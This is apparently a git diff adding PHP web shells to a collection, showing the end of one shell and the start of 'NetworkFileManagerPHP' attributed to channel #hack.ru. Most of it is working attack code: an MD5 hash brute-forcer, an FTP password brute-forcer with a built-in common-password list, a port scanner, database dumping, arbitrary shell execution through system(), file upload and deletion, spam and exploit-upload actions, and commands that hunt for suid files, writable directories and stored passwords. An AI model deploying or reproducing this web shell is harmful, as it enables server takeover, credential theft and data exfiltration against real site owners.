+if ($next <= 10) {
+
+result(implode($word));
+
+}else {
+
+for ($i11 = 0; $i11 <= $c; $i11++) {
+
+$word[11] = $chars_de{$i11};
+
+if ($next <= 11) {
+
+result(implode($word));
+
+}else {
+
+for ($i12 = 0; $i12 <= $c; $i12++) {
+
+$word[12] = $chars_de{$i12};
+
+if ($next <= 12) {
+
+result(implode($word));
+
+}else {
+
+for ($i13 = 0; $i13 <= $c; $i13++) {
+
+$word[13] = $chars_de{$i13};
+
+if ($next <= 13) {
+
+result(implode($word));
+
+}else {
+
+for ($i14 = 0; $i14 <= $c; $i14++) {
+
+$word[14] = $chars_de{$i14};
+
+if ($next <= 14) {
+
+result(implode($word));
+
+}else {
+
+for ($i15 = 0; $i15 <= $c; $i15++) {
+
+$word[15] = $chars_de{$i15};
+
+if ($next <= 15) {
+
+result(implode($word));
+
+}else {
+
+for ($i16 = 0; $i16 <= $c; $i16++) {
+
+$word[16] = $chars_de{$i16};
+
+if ($next <= 16) {
+
+result(implode($word));
+
+}else {
+
+for ($i17 = 0; $i17 <= $c; $i17++) {
+
+$word[17] = $chars_de{$i17};
+
+if ($next <= 17) {
+
+result(implode($word));
+
+}else {
+
+for ($i18 = 0; $i18 <= $c; $i18++) {
+
+$word[18] = $chars_de{$i18};
+
+if ($next <= 18) {
+
+result(implode($word));
+
+}else {
+
+for ($i19 = 0; $i19 <= $c; $i19++) {
+
+$word[19] = $chars_de{$i19};
+
+if ($next <= 19) {
+
+result(implode($word));
+
+}else {
+
+for ($i20 = 0; $i20 <= $c; $i20++) {
+
+$word[20] = $chars_de{$i20};
+
+if ($next <= 20) {
+
+result(implode($word));
+
+}else {
+
+for ($i21 = 0; $i21 <= $c; $i21++) {
+
+$word[21] = $chars_de{$i21};
+
+if ($next <= 21) {
+
+result(implode($word));
+
+}else {
+
+for ($i22 = 0; $i22 <= $c; $i22++) {
+
+$word[22] = $chars_de{$i22};
+
+if ($next <= 22) {
+
+result(implode($word));
+
+}else {
+
+for ($i23 = 0; $i23 <= $c; $i23++) {
+
+$word[23] = $chars_de{$i23};
+
+if ($next <= 23) {
+
+result(implode($word));
+
+}else {
+
+for ($i24 = 0; $i24 <= $c; $i24++) {
+
+$word[24] = $chars_de{$i24};
+
+if ($next <= 24) {
+
+result(implode($word));
+
+}else {
+
+for ($i25 = 0; $i25 <= $c; $i25++) {
+
+$word[25] = $chars_de{$i25};
+
+if ($next <= 25) {
+
+result(implode($word));
+
+}else {
+
+for ($i26 = 0; $i26 <= $c; $i26++) {
+
+$word[26] = $chars_de{$i26};
+
+if ($next <= 26) {
+
+result(implode($word));
+
+}else {
+
+for ($i27 = 0; $i27 <= $c; $i27++) {
+
+$word[27] = $chars_de{$i27};
+
+if ($next <= 27) {
+
+result(implode($word));
+
+}else {
+
+for ($i28 = 0; $i28 <= $c; $i28++) {
+
+$word[28] = $chars_de{$i28};
+
+if ($next <= 28) {
+
+result(implode($word));
+
+}else {
+
+for ($i29 = 0; $i29 <= $c; $i29++) {
+
+$word[29] = $chars_de{$i29};
+
+if ($next <= 29) {
+
+result(implode($word));
+
+}else {
+
+for ($i30 = 0; $i30 <= $c; $i30++) {
+
+$word[30] = $chars_de{$i30};
+
+if ($next <= 30) {
+
+result(implode($word));
+
+}else {
+
+for ($i31 = 0; $i31 <= $c; $i31++) {
+
+$word[31] = $chars_de{$i31};
+
+if ($next <= 31) {
+
+result(implode($word));
+
+
+
+}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
+
+
+
+function result($word) {
+
+global $dat,$date;
+
+$pass_de=$_POST[pass_de];
+
+$dat2=date("H:i:s");
+
+$date2=date("d:m:Y");
+
+
+
+if(md5($word)==$pass_de){
+
+print "
+
+
+
+ Brutefrcing result:
+
+ crypted Hash: $word
+
+ Bruteforce start: $dat - $date
+
+ Bruteforce finish: $dat2 - $date2
+
+ result was wrote to file: ".$word."_md5
+
+
+
+ ";
+
+ $f=@fopen($word._md5,"a+");
+
+ fputs($f,"Decrypted MD5 hash [$pass_de] = $word\nBruteforce start:\t$dat - $date\Bruteforce finish:\t$dat2 - $date2\n ");
+
+ exit;}
+
+
+
+
+
+
+
+}
+
+
+
+function brut_ftp() {
+
+ global $action,$private_site, $title_exp,$login, $host, $file, $chislo, $proverka;
+
+set_time_limit(0);
+
+ignore_user_abort(1);
+
+echo "
+
+
+
+FTP bruteforce
+This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload .
+
+
";
+
+
+
+ echo "
+
+ ";
+
+
+
+
+
+function s() {
+
+ $word="qwrtypsdfghjklzxcvbnm";
+
+ return $word[mt_rand(0,strlen($word)-1)];
+
+}
+
+
+
+function g() {
+
+ $word="euioam";
+
+ return $word[mt_rand(0,strlen($word)-2)];
+
+}
+
+
+
+function name0() { return s().g().s(); }
+
+function name1() { return s().g().s().g(); }
+
+function name2() { return s().g().g().s(); }
+
+function name3() { return s().s().g().s().g(); }
+
+function name4() { return g().s().g().s().g(); }
+
+function name5() { return g().g().s().g().s(); }
+
+function name6() { return g().s().s().g().s(); }
+
+function name7() { return s().g().g().s().g(); }
+
+function name8() { return s().g().s().g().g(); }
+
+function name9() { return s().g().s().g().s().g(); }
+
+function name10() { return s().g().s().s().g().s().s(); }
+
+function name11() { return s().g().s().s().g().s().s().g(); }
+
+
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+
+$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker');
+
+
+
+function randword() {
+
+ global $cool;
+
+ $func="name".mt_rand(0,11);
+
+ $func2="name".mt_rand(0,11);
+
+ switch (mt_rand(0,11)) {
+
+ case 0: return $func().mt_rand(5,99);
+
+ case 1: return $func()."-".$func2();
+
+ case 2: return $func().$cool[mt_rand(0,count($cool)-1)];
+
+ case 3: return $func()."!".$func();
+
+ case 4: return randpass(mt_rand(5,12));
+
+ default: return $func();
+
+ }
+
+
+
+
+
+}
+
+
+
+function randpass($len) {
+
+ $word="qwertyuiopasdfghjklzxcvbnm1234567890";
+
+ $s="";
+
+ for ($i=0; $i<$len; $i++) {
+
+ $s.=$word[mt_rand(0,strlen($word)-1)];
+
+ }
+
+ return $s;
+
+}
+
+if (@unlink("pass.txt") < 0){
+
+echo "nothing";
+
+exit;
+
+}
+
+$file="pass.txt";
+
+if($file && $host && $login){
+
+ $cn=mt_rand(30,30);
+
+for ($i=0; $i<$cn; $i++) {
+
+ $s=$cool2[$i];
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$s\n");
+
+ }
+
+
+
+ $cnt2=mt_rand(43,43);
+
+for ($i=0; $i<$cnt2; $i++) {
+
+ $r=$cool[$i];
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$login$r\n");
+
+}
+
+$p="$proverka";
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$p\n");
+
+
+
+ $cnt3=mt_rand($chislo,$chislo);
+
+ for ($i=0; $i<$cnt3; $i++) {
+
+ $u=randword();
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$u\n");
+
+ }
+
+
+
+ if(is_file($file)){
+
+ $passwd=file($file,1000);
+
+ for($i=0; $i
+
+Congratulations! Password is known now.
+
+ Connected to: $host with login: $login with password: $password
+
+";exit;
+
+ }
+
+ elseif(preg_match("/530/",$text)){
+
+ $stop=true;
+
+
+
+ }
+
+ }
+
+ fclose($open_ftp);
+
+ }else{
+
+ echo "
+
+
+
+FTP is incorrect!!! At $host 21 port is closed! check your settings
+
+
+
+";exit;
+
+ }
+
+ }
+
+ }
+
+}
+
+
+
+}
+
+
+
+# port scanner
+
+function portscan() {
+
+ global $action,$portscan,$port,$HTTP_HOST,$min,$max;
+
+
+
+ $mtime = explode(" ",microtime());
+
+ $mtime = $mtime[1] + $mtime[0];
+
+ $time1 = $mtime;
+
+
+
+ $id = $HTTP_HOST;
+
+ echo "Scan results: $idScanning host to find any reachable and open ports" . "...
";
+
+
+
+ $lport = $min;
+
+ $hport = $max;
+
+ $op = 0;
+
+ $gp = 0;
+
+
+
+ for ($porta=$lport; $porta<=$hport; $porta++) {
+
+ $fp = @fsockopen("$id", $porta, &$errno, &$errstr, 4);
+
+ if ( !$fp ) { $gp++; }
+
+ else {
+
+ $port_addres = $port[$porta];
+
+ if($port_addres == "") $port_addres = "unknown";
+
+ $serv = getservbyport($porta, TCP);
+
+ echo "Port:$porta / $serv $port_addres (What's the service is? ) ";
+
+ $op++;
+
+ }
+
+ }
+
+
+
+ if($op == 0) echo "Current host seems don't have any open port...hmm, but you're connected to it to 80...check out firewall
";
+
+
+
+ $unsi = ($op/$porta)*100;
+
+ $unsi = round($unsi);
+
+
+
+ echo "Scan statistics: ";
+
+ echo "Scanned ports: $porta ";
+
+ echo "Open ports: $op ";
+
+ echo "Closed ports: $gp ";
+
+
+
+ $mtime = explode(" ",microtime());
+
+ $mtime = $mtime[1] + $mtime[0];
+
+ $time2 = $mtime;
+
+ $loadtime = ($time2 - $time1);
+
+ $loadtime = round($loadtime, 2);
+
+
+
+ echo "Scan time: $loadtime seconds
";
+
+}
+
+
+
+function nfm_copyright() {
+
+global $action,$upass,$uname,$nfm;
+
+ return "Powered by channel #hack.ru (author xoce). Made In Russia
";
+
+
+
+}
+
+// =-=-=-=-= SQL MODULE =-=-=-=-=
+
+// SQL functions start
+
+function aff_date() {
+
+ $date_now=date("F j,Y,g:i a");
+
+ return $date_now;
+
+}
+
+
+
+function sqldumptable($table) {
+
+ global $sv_s,$sv_d,$drp_tbl;
+
+ $tabledump = "";
+
+ if ($sv_s) {
+
+ if ($drp_tbl) { $tabledump.="DROP TABLE IF EXISTS $table;\n"; }
+
+ $tabledump.="CREATE TABLE $table (\n";
+
+ $firstfield=1;
+
+ $champs=mysql_query("SHOW FIELDS FROM $table");
+
+ while ($champ=mysql_fetch_array($champs)) {
+
+ if (!$firstfield) { $tabledump.=",\n"; }
+
+ else { $firstfield=0;}
+
+ $tabledump.=" $champ[Field] $champ[Type]";
+
+ if ($champ['Null'] !="YES") { $tabledump.=" NOT NULL";}
+
+ if (!empty($champ['Default'])) { $tabledump.=" default '$champ[Default]'";}
+
+ if ($champ['Extra'] !="") { $tabledump.=" $champ[Extra]";}
+
+ }
+
+
+
+ @mysql_free_result($champs);
+
+ $keys=mysql_query("SHOW KEYS FROM $table");
+
+ while ($key=mysql_fetch_array($keys)) {
+
+ $kname=$key['Key_name'];
+
+ if ($kname !="PRIMARY" and $key['Non_unique']==0) { $kname="UNIQUE|$kname";}
+
+ if(!is_array($index[$kname])) { $index[$kname]=array();}
+
+ $index[$kname][]=$key['Column_name'];
+
+ }
+
+
+
+ @mysql_free_result($keys);
+
+ while(list($kname,$columns)=@each($index)) {
+
+ $tabledump.=",\n";
+
+ $colnames=implode($columns,",");
+
+ if($kname=="PRIMARY") { $tabledump.=" PRIMARY KEY ($colnames)";}
+
+ else {
+
+ if (substr($kname,0,6)=="UNIQUE") { $kname=substr($kname,7);}
+
+ $tabledump.=" KEY $kname ($colnames)";
+
+ }
+
+ }
+
+ $tabledump.="\n);\n\n";
+
+ }
+
+
+
+ if ($sv_d) {
+
+ $rows=mysql_query("SELECT * FROM $table");
+
+ $numfields=mysql_num_fields($rows);
+
+ while ($row=mysql_fetch_array($rows)) {
+
+ $tabledump.="INSERT INTO $table VALUES(";
+
+ $cptchamp=-1;
+
+ $firstfield=1;
+
+ while (++$cptchamp<$numfields) {
+
+ if (!$firstfield) { $tabledump.=",";}
+
+ else { $firstfield=0;}
+
+ if (!isset($row[$cptchamp])) {$tabledump.="NULL";}
+
+ else { $tabledump.="'".mysql_escape_string($row[$cptchamp])."'";}
+
+ }
+
+ $tabledump.=");\n";
+
+ }
+
+ @mysql_free_result($rows);
+
+ }
+
+
+
+ return $tabledump;
+
+}
+
+
+
+function csvdumptable($table) {
+
+ global $sv_s,$sv_d;
+
+ $csvdump="## Table:$table \n\n";
+
+ if ($sv_s) {
+
+ $firstfield=1;
+
+ $champs=mysql_query("SHOW FIELDS FROM $table");
+
+ while ($champ=mysql_fetch_array($champs)) {
+
+ if (!$firstfield) { $csvdump.=",";}
+
+ else { $firstfield=0;}
+
+ $csvdump.="'".$champ['Field']."'";
+
+ }
+
+
+
+ @mysql_free_result($champs);
+
+ $csvdump.="\n";
+
+ }
+
+
+
+ if ($sv_d) {
+
+ $rows=mysql_query("SELECT * FROM $table");
+
+ $numfields=mysql_num_fields($rows);
+
+ while ($row=mysql_fetch_array($rows)) {
+
+ $cptchamp=-1;
+
+ $firstfield=1;
+
+ while (++$cptchamp<$numfields) {
+
+ if (!$firstfield) { $csvdump.=",";}
+
+ else { $firstfield=0;}
+
+ if (!isset($row[$cptchamp])) { $csvdump.="NULL";}
+
+ else { $csvdump.="'".addslashes($row[$cptchamp])."'";}
+
+ }
+
+ $csvdump.="\n";
+
+ }
+
+ }
+
+
+
+ @mysql_free_result($rows);
+
+ return $csvdump;
+
+}
+
+
+
+function write_file($data) {
+
+ global $g_fp,$file_type;
+
+ if ($file_type==1) { gzwrite($g_fp,$data); }
+
+ else { fwrite ($g_fp,$data); }
+
+}
+
+
+
+function open_file($file_name) {
+
+ global $g_fp,$file_type,$dbbase,$f_nm;
+
+ if ($file_type==1) { $g_fp=gzopen($file_name,"wb9"); }
+
+ else { $g_fp=fopen ($file_name,"w"); }
+
+
+
+ $f_nm[]=$file_name;
+
+ $data="";
+
+ $data.="##\n";
+
+ $data.="## NFM hack.ru creator \n";
+
+ $data.="##-------------------------\n";
+
+ $data.="## Date:".aff_date()."\n";
+
+ $data.="## Base:$dbbase \n";
+
+ $data.="##-------------------------\n\n";
+
+ write_file($data);
+
+ unset($data);
+
+}
+
+
+
+function file_pos() {
+
+ global $g_fp,$file_type;
+
+ if ($file_type=="1") { return gztell ($g_fp); }
+
+ else { return ftell ($g_fp); }
+
+}
+
+
+
+function close_file() {
+
+ global $g_fp,$file_type;
+
+ if ($file_type=="1") { gzclose ($g_fp); }
+
+ else { fclose ($g_fp); }
+
+}
+
+
+
+function split_sql_file($sql) {
+
+ $morc=explode(";",$sql);
+
+ $sql="";
+
+ $output=array();
+
+ $matches=array();
+
+ $morc_cpt=count($morc);
+
+ for ($i=0;$i < $morc_cpt;$i++) {
+
+ if (($i !=($morc_cpt-1)) || (strlen($morc[$i] > 0))) {
+
+ $total_quotes=preg_match_all("/'/",$morc[$i],$matches);
+
+ $escaped_quotes=preg_match_all("/(?".nfm_copyright();
+
+
+
+ // SQL actions STARTS
+
+
+
+ if ($sqlaction=='save') {
+
+ if ($secu==1) {
+
+ $fp=fopen($secu_config,"w");
+
+ fputs($fp,"");
+
+ fclose($fp);
+
+ }
+
+ if (!is_array($tbls)) {
+
+ echo $header."
+
+You forgot to check tables, which you need to dump =) \n$footer";
+
+ exit;
+
+ }
+
+ if($f_cut==1) {
+
+ if (!is_numeric($fz_max)) {
+
+ echo $header."Veuillez choisir une valeur num?rique ? la taille du fichier ? scinder. \n$footer";
+
+ exit;
+
+ }
+
+ if ($fz_max < 200000) {
+
+ echo $header."Veuillez choisir une taille de fichier a scinder sup
+
+ rieure ? 200 000 Octets. \n$footer";
+
+ exit;
+
+ }
+
+ }
+
+
+
+ $tbl=array();
+
+ $tbl[]=reset($tbls);
+
+ if (count($tbls) > 1) {
+
+ $a=true;
+
+ while ($a !=false) {
+
+ $a=next($tbls);
+
+ if ($a !=false) { $tbl[]=$a; }
+
+ }
+
+ }
+
+
+
+ if ($opt==1) { $sv_s=true; $sv_d=true; }
+
+ else if ($opt==2) { $sv_s=true;$sv_d=false;$fc ="_struct"; }
+
+ else if ($opt==3) { $sv_s=false;$sv_d=true;$fc ="_data"; }
+
+ else { exit; }
+
+
+
+ $fext=".".$savmode;
+
+ $fich=$dbbase.$fc.$fext;
+
+ $dte="";
+
+ if ($ecraz !=1) { $dte=date("dMy_Hi")."_"; } $gz="";
+
+ if ($file_type=='1') { $gz.=".gz"; }
+
+ $fcut=false;
+
+ $ftbl=false;
+
+ $f_nm=array();
+
+ if($f_cut==1) { $fcut=true;$fz_max=$fz_max;$nbf=1;$f_size=170;}
+
+ if($f_tbl==1) { $ftbl=true; }
+
+ else {
+
+ if(!$fcut) { open_file("dump_".$dte.$dbbase.$fc.$fext.$gz); }
+
+ else { open_file("dump_".$dte.$dbbase.$fc."_1".$fext.$gz); }
+
+ }
+
+
+
+ $nbf=1;
+
+ mysql_connect($dbhost,$dbuser,$dbpass);
+
+ mysql_select_db($dbbase);
+
+ if ($fext==".sql") {
+
+ if ($ftbl) {
+
+ while (list($i)=each($tbl)) {
+
+ $temp=sqldumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut) {
+
+ open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);
+
+ $nbf=0;
+
+ $p_sql=split_sql_file($temp);
+
+ while(list($j,$val)=each($p_sql)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); }
+
+ else { close_file(); $nbf++; open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".sql".$gz); write_file($val.";"); }
+
+ }
+
+ close_file();
+
+ }
+
+ else { open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);write_file($temp."\n\n");close_file();$nbf=1; }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ } else {
+
+ $tblsv="";
+
+ while (list($i)=each($tbl)) {
+
+ $temp=sqldumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut && ((file_pos()+$sz_t) > $fz_max)) {
+
+ $p_sql=split_sql_file($temp);
+
+ while(list($j,$val)=each($p_sql)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); }
+
+ else {
+
+ close_file();
+
+ $nbf++;
+
+ open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".sql".$gz);
+
+ write_file($val.";");
+
+ }
+
+ }
+
+ } else { write_file($temp); }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ }
+
+ }
+
+ else if ($fext==".csv") {
+
+ if ($ftbl) {
+
+ while (list($i)=each($tbl)) {
+
+ $temp=csvdumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut) {
+
+ open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz);
+
+ $nbf=0;
+
+ $p_csv=split_csv_file($temp);
+
+ while(list($j,$val)=each($p_csv)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); }
+
+ else {
+
+ close_file();
+
+ $nbf++;
+
+ open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".csv".$gz);
+
+ write_file($val."\n");
+
+ }
+
+ }
+
+ close_file();
+
+ } else {
+
+ open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz);
+
+ write_file($temp."\n\n");
+
+ close_file();
+
+ $nbf=1;
+
+ }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ } else {
+
+ while (list($i)=each($tbl)) {
+
+ $temp=csvdumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut && ((file_pos()+$sz_t) > $fz_max)) {
+
+ $p_csv=split_sql_file($temp);
+
+ while(list($j,$val)=each($p_csv)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); }
+
+ else {
+
+ close_file();
+
+ $nbf++;
+
+ open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".csv".$gz);
+
+ write_file($val."\n");
+
+ }
+
+ }
+
+ } else { write_file($temp); }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ }
+
+ }
+
+
+
+ mysql_close();
+
+ if (!$ftbl) { close_file(); }
+
+
+
+ echo $header;
+
+ echo "All the data in these tables: ".$tblsv." were putted to this file: File Size ";
+
+ reset($f_nm);
+
+ while (list($i,$val)=each($f_nm)) {
+
+ $coul='#99CCCC';
+
+ if ($i % 2) { $coul='#CFE3E3'; }
+
+ echo " ".$val." ";
+
+ $fz_tmp=filesize($val);
+
+ if ($fcut && ($fz_tmp > $fz_max)) {
+
+ echo " ".$fz_tmp." Octets ";
+
+ } else {
+
+ echo " ".$fz_tmp." bites ";
+
+ }
+
+ echo " ";
+
+ }
+
+ echo "
";
+
+ echo $footer;exit;
+
+ }
+
+
+
+ if ($sqlaction=='connect') {
+
+ if(!@mysql_connect($dbhost,$dbuser,$dbpass)) {
+
+ echo $header."Unable to connect! Check your data input! \n$footer";
+
+ exit;
+
+ }
+
+
+
+ if(!@mysql_select_db($dbbase)) {
+
+ echo $header."<Unable to connect! Check your data input! \n$footer";
+
+ exit;
+
+ }
+
+
+
+ if ($secu==1) {
+
+ if (!file_exists($secu_config)) {
+
+ $fp=fopen($secu_config,"w");
+
+ fputs($fp,"");
+
+ fclose($fp);
+
+ }
+
+ include($secu_config);
+
+ } else {
+
+ if (file_exists($secu_config)) { unlink($secu_config); }
+
+ }
+
+
+
+ mysql_connect($dbhost,$dbuser,$dbpass);
+
+ $tables=mysql_list_tables($dbbase);
+
+ $nb_tbl=mysql_num_rows($tables);
+
+
+
+ echo $header."Choose tables you need to dump!
$footer";
+
+ exit;
+
+ }
+
+
+
+// SQL actions END
+
+
+
+ if(file_exists($secu_config)) {
+
+ include ($secu_config);
+
+ $ck="checked";
+
+ } else {
+
+ $dbhost="localhost";
+
+ $dbbase="";
+
+ $dbuser="root";
+
+ $dbpass="";
+
+ $ck="";
+
+ }
+
+
+
+ echo $header."
+
+
+
+
+
+ ";
+
+
+
+}
+
+// SQL END
+
+
+
+/* main() */
+
+set_time_limit(0);
+
+
+
+if ( $action !="download") print("$HTML");
+
+
+
+if (!isset($cm)) {
+
+ if (!isset($action)) {
+
+ if (!isset($tm)) { $tm = getcwd(); }
+
+ $curdir = getcwd();
+
+ if (!@chdir($tm)) exit("Access to directory is denied, see CHMOD.
");
+
+ getdir();
+
+ chdir($curdir);
+
+ $supsub = $gdir[$j-1];
+
+ if (!isset($tm) ) { $tm=getcwd();}
+
+ readdirdata($tm);
+
+ } else {
+
+ switch ($action) {
+
+ case "view":
+
+ viewfile($tm,$fi);
+
+ break;
+
+ case "delete":
+
+ echo "File $fi was deleted successfully.
";
+
+ deletef($tm);
+
+ break;
+
+ case "download":
+
+ if (isset($fatt) && strlen($fatt)>0) {
+
+ $attach=$fatt;
+
+ header("Content-type: text/plain");
+
+ }
+
+ else {
+
+ $attach=$fi;
+
+ header("Content-type: hackru");
+
+ }
+
+ header("Content-disposition: attachment; filename=\"$attach\";");
+
+ readfile($tm."/".$fi);
+
+ break;
+
+ case "download_mail":
+
+ download_mail($tm,$fi);
+
+ break;
+
+ case "edit":
+
+ editfile($tm,$fi);
+
+ break;
+
+ case "save":
+
+ savefile($tm,$fi);
+
+ break;
+
+ case "uploadd":
+
+ uploadtem();
+
+ break;
+
+ case "up":
+
+ up($tm);
+
+ break;
+
+ case "newdir":
+
+ newdir($tm);
+
+ break;
+
+ case "createdir":
+
+ cdir($tm);
+
+ break;
+
+ case "deldir":
+
+ deldir();
+
+ break;
+
+ case "feedback":
+
+ mailsystem();
+
+ break;
+
+ case "upload":
+
+ upload();
+
+ break;
+
+ case "help":
+
+ help();
+
+ break;
+
+ case "ftp":
+
+ ftp();
+
+ break;
+
+ case "portscan":
+
+ portscan();
+
+ break;
+
+ case "sql":
+
+ sql();
+
+ break;
+
+ case "tar":
+
+ tar();
+
+ break;
+
+ case "bash":
+
+ bash();
+
+ break;
+
+ case "passwd":
+
+ passwd();
+
+ break;
+
+ case "exploits":
+
+ exploits($dir);
+
+ break;
+
+ case "upload_exploits":
+
+ upload_exploits($dir);
+
+ break;
+
+ case "upload_exploitsp":
+
+ upload_exploitsp($dir);
+
+ break;
+
+ case "arhiv":
+
+ arhiv($tm,$pass);
+
+ break;
+
+ case "crypte":
+
+ crypte();
+
+ break;
+
+ case "decrypte":
+
+ decrypte();
+
+ break;
+
+ case "brut_ftp":
+
+ brut_ftp();
+
+ break;
+
+ case "copyfile":
+
+ copyfile($tm,$fi);
+
+ break;
+
+ case "down":
+
+ down($dir);
+
+ break;
+
+ case "downfiles":
+
+ downfiles($dir);
+
+ break;
+
+ case "spam":
+
+ spam();
+
+ break;
+
+ }
+
+ }
+
+} else {
+
+ echo "Done: $cm ";
+
+ echo system($cm);
+
+ echo "
";
+
+}
+
+
+
+if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "ftp" && $action != "portscan" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") {
+
+ echo " ";
+
+ $perdir = @permissions(fileperms($tm));
+
+ if ($perdir && $perdir[7] == "w" && isset($tm)) uploadtem();
+
+ else echo "Unable to upload files to current directory
";
+
+ if ($perdir[7] == "w" && isset($tm)) {
+
+ echo "";
+
+ } else {
+
+ echo "Unable to create directory here
";
+
+ }
+
+}
+
+
+
+if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "aliases" && $action != "portscan" && $action != "ftp" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") {
+
+ echo " ";
+
+}
+
+
+
+if ( $action !="download") echo nfm_copyright();
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/nfm.php.php.txt b/xakep-shells/PHP/nfm.php.php.txt
new file mode 100644
index 0000000..a07b387
--- /dev/null
+++ b/xakep-shells/PHP/nfm.php.php.txt
@@ -0,0 +1,3086 @@
+
+error_reporting(5);
+/*
+$use_md5=0; // êðèïòîâàòü ïàðîëü ïî md5 èëè íåò? //
+$uname="nfm";
+$upass="q1w2e3";
+
+
+if (isset($PHP_AUTH_USER) && ($PHP_AUTH_USER==$uname)) {
+ if ($use_md5) {
+ if (md5($PHP_AUTH_PW) != $upass) { Header('WWW-Authenticate: Basic realm="'.$title.'"');Header('HTTP/1.0 401 Unauthorized');exit; }
+ } else {
+ if ($PHP_AUTH_PW != $upass) { Header('WWW-Authenticate: Basic realm="'.$title.'"');Header('HTTP/1.0 401 Unauthorized');exit; }
+ }
+} else {
+ Header('WWW-Authenticate: Basic realm="'.$title.'"');
+ Header('HTTP/1.0 401 Unauthorized');
+ exit;
+} */
+if ($action != "download" && $action != "view" ):
+?>
+
+
+
+/* Âàøå ìûëî äëÿ îòïðàâêè ôàéëîâ, óêàæèòå ñâîå*/
+$demail ="âàøå ìûëî";
+
+/* ïîø¸ë êîíôèã */
+$title="NetworkFileManagerPHP";
+$ver="1.8.private (beta)";
+$sob="Cîáñòâåííîñòü channel #hack.ru ";
+$id="0000001";
+
+/* FTP-áðóò */
+$filename="/etc/passwd";
+$ftp_server="localhost";
+/* ñêàíåð ïîðòîâ */
+$min="1";
+$max="65535";
+
+/* Àëèàñû */
+$aliases=array(
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */
+'find / -type f -perm -04000 -ls' => 'find all suid files' ,
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */
+'find / -type f -perm -02000 -ls' => 'find all sgid files',
+/* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */
+'find / -type f -name config.inc.php' => 'find config.inc.php files',
+/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find / -perm -2 -ls' => 'find writable directories and files',
+'ls -la' => '---------------------------------------------------------',
+'find / -name *.php | xargs grep -li password' =>'searsh all file .php word password'
+);
+
+/* Ïîðòû ñ íàèìåíîâàíèÿìè */
+$port[1] = "tcpmux (TCP Port Service Multiplexer)";
+$port[2] = "Management Utility";
+$port[3] = "Compression Process";
+$port[5] = "rje (Remote Job Entry)";
+$port[7] = "echo";
+$port[9] = "discard";
+$port[11] = "systat";
+$port[13] = "daytime";
+$port[15] = "netstat";
+$port[17] = "quote of the day";
+$port[18] = "send/rwp";
+$port[19] = "character generator";
+$port[20] = "ftp-data";
+$port[21] = "ftp";
+$port[22] = "ssh, pcAnywhere";
+$port[23] = "Telnet";
+$port[25] = "SMTP (Simple Mail Transfer)";
+$port[27] = "ETRN (NSW User System FE)";
+$port[29] = "MSG ICP";
